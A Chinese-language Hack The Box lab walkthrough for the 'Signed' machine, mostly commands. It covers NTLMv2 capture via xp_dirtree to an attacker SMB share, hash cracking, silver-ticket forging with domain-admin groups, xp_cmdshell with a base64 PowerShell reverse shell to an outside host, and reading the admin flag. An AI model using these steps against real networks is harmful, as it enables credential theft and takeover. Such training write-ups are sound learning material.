HTB 赛季9靶场 - Signed
nmap扫描
sudo nmap -F 10.10.11.90 --min-rate=1000 -sV -sC && sudo nmap -F 10.10.11.90 --min-rate=1000 -sU && nmap -p- 10.10.11.90 --min-rate=1000 && sudo nmap -p- 10.10.11.90 --min-rate=1000 -sU
impacket-mssqlclient 登录mssql
我们发现了mssql,我们也拥有mssql账户,所以进入mssql
MSSQL service: scott / Sm230#C5NatHimpacket-mssqlclient -debug 'signed.htb/scott: Sm230#C5NatH@DC01.signed.htb' -windows-authimpacket-mssqlclient -debug 'signed.htb/scott:Sm230#C5NatH@DC01.signed.htb'
xp_dirtree 窃取NTLMv2
我们使用xp_dirtree窃取了用户NTLMv2
SQL (scott guest@master)> xp_dirtree //10.10.16.5/shared#####kali shell#######
impacket-smbserver shared -smb2support ./
######################
我们进一步破解这个hash
hashcat -a 0 -m 5600 hash /home/kali/Desktop/Info/zhuzhuzxia/Passwords/rockyou.txt
MSSQLSVC : purPLE9795!@
该用户也拥有mssql的能力,我们以该用户登录看看
impacket-mssqlclient -debug signed.htb/mssqlsvc:'purPLE9795!@'@DC01.signed.htb -windows-auth
攻陷SPN账户 - 伪造任意用户的白银票据
我们发现该用户大概率是一个mssqlsvc用户,同时我们攻陷了这个SPN用户,那么这可能意味着我们可以伪造白银票据来模拟任何用户来访问mssqlsvc。构造这个票据有几个要点会比较困难,下面的整个过程会分别阐述每个内容的获取过程
<controledSPNUserNT>
<targetdomainSID>
<SPNservice>
<impersonateuserSID>
<impersonateGroup>
将明文密码编码为NTLM
首先获取controledSPNUserNT,我们根据明文密码可以直接转换出NTLM
echo -n 'purPLE9795!@' | iconv -f UTF-8 -t UTF-16LE | openssl dgst -md4
mssql获取sysadmin用户的SID
获取targetdomainSID,我们可以借助mssql自身完成,或者借助垃圾桶完成。
EXEC sp_helpsrvrolemember 'sysadmin'
再配合GPT老师给我的解析脚本,即可完成解密。这里如果有大佬知道更简单的方法,还请指点指点。
#我的文件名是mssql2sid.pydef sid_bytes_to_string(b: bytes) -> str:if not b:return Nonerev = b[0]sub_count = b[1]ida = 0for i in range(6):ida = (ida << 8) | b[2 + i]parts = ['S', str(rev), str(ida)]for i in range(sub_count):off = 8 + i*4sub = b[off] | (b[off+1] << 8) | (b[off+2] << 16) | (b[off+3] << 24)parts.append(str(sub))return '-'.join(parts)# 使用示例:如果有十六进制字符串(不带 0x),先转 bytes:
hexstr = "0105000000000005150000005b7bb0f398aa2245ad4a1ca451040000" # 来自 fn_varbintohexstr 输出(去掉前面的 0x)
b = bytes.fromhex(hexstr)
print(sid_bytes_to_string(b))
我们进行解析,前面的这部分即使域SID
S-1-5-21-4088429403-1159899800-2753317549
方法2是我们可以通过垃圾桶获取SID
S-1-5-21-4088429403-1159899800-2753317549-500
获取SPN service,这里我们无法联系ldap,所以只能自己猜测
mssql/dc01.signed.htb
mssqlsvc/dc01.signed.htb
sql/dc01.signed.htb
获取impersonateuserSID,impersonateGroup,我们再前面获取域SID的过程相同。这里的SIGNED\IT可能是一个用户和一个组,这里需要注意不要枚举漏掉了。
最后我们构造了如下的代码
impacket-ticketer -nthash <controledSPNUserNT> -domain-sid <targetdomainSID> -domain <targetDomain> -spn <SPN service> -user-id <impersonateuserSID> -groups <impersonateGroup> <impersonateUsername>impacket-ticketer -nthash ef699384c3285c54128a3ee1ddb1a0cc -domain-sid 'S-1-5-21-4088429403-1159899800-2753317549' -domain signed.htb -spn mssql/dc01.signed.htb -groups 1105 IT
白银票据利用 - 登录mssql
创建成功,我们尝试访问服务
export KRB5CCNAME=/home/kali/Desktop/HTB/Signed/IT.ccache
impacket-mssqlclient -debug DC01.signed.htb -k
mssql 命令执行 - xp_cmdshell
我们成功窃取了mssql的管理员权限。我们尝试获取xp_cmdshell
SELECT IS_SRVROLEMEMBER('sysadmin');# Check if xp_cmdshell is enabled
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';#One liner
EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;# Quickly check what the service account is via xp_cmdshell
EXEC master..xp_cmdshell 'whoami'
我们开始反连
EXEC master..xp_cmdshell 'powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4ANQAiACwAOQAwADAAMQApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA='
mssql 读取文件 - bulk 读取 - SPN白银票据模拟域管用户读取administrator文件
我们并没有再mssqlsvc账户上搜集到有用的信息。我们尝试伪造自己的权限到域管理员级别,尝试使用mssql来读取文件。使用mssql读取系统文件依赖于bulk功能,该功能会审核用户的模拟权限,这通常需要再系统层面设置。这么做的原因是确保mssql在安全的上下文读取文件。
#进入mssql,查看哪些用户拥有模拟权限
export KRB5CCNAME=/home/kali/Desktop/HTB/Signed/mssqlsvc.ccache impacket-mssqlclient -debug DC01.signed.htb -k#枚举有用模拟权限的用户
>SELECT servicename, service_account FROM sys.dm_server_services;
可以看到我们可以将自己模拟成mssqlsvc,然后去读取系统文件
sp_configure 'show advanced options', 1
sp_configure 'Ad Hoc Distributed Queries',1;
RECONFIGURESELECT * FROM OPENROWSET(BULK N'C:\Users\Administrator\desktop\root.txt', SINGLE_CLOB) AS Contents
windows powershell获取用户SID
看样子是我们的权限不足,那么我们把自己加入域管,大概率可以解决这个问题。所以重新伪造票据。但在此之前我们需要确定mssqlsvc这个用户的sid。所以我们进入主机查询该用户的sid。
Powershell > Get-WmiObject win32_useraccount
正式伪造白银票据
impacket-ticketer -nthash ef699384c3285c54128a3ee1ddb1a0cc -domain-sid 'S-1-5-21-4088429403-1159899800-2753317549' -domain signed.htb -spn mssql/dc01.signed.htb -groups 1105,512,519 -user-id 1103 mssqlsvcexport KRB5CCNAME=/home/kali/Desktop/HTB/Signed/mssqlsvc.ccache
impacket-mssqlclient -debug DC01.signed.htb -k
再次尝试读取文件
sp_configure 'show advanced options', 1
sp_configure 'Ad Hoc Distributed Queries',1;
RECONFIGURESELECT * FROM OPENROWSET(BULK N'C:\Users\Administrator\desktop\root.txt', SINGLE_CLOB) AS Contents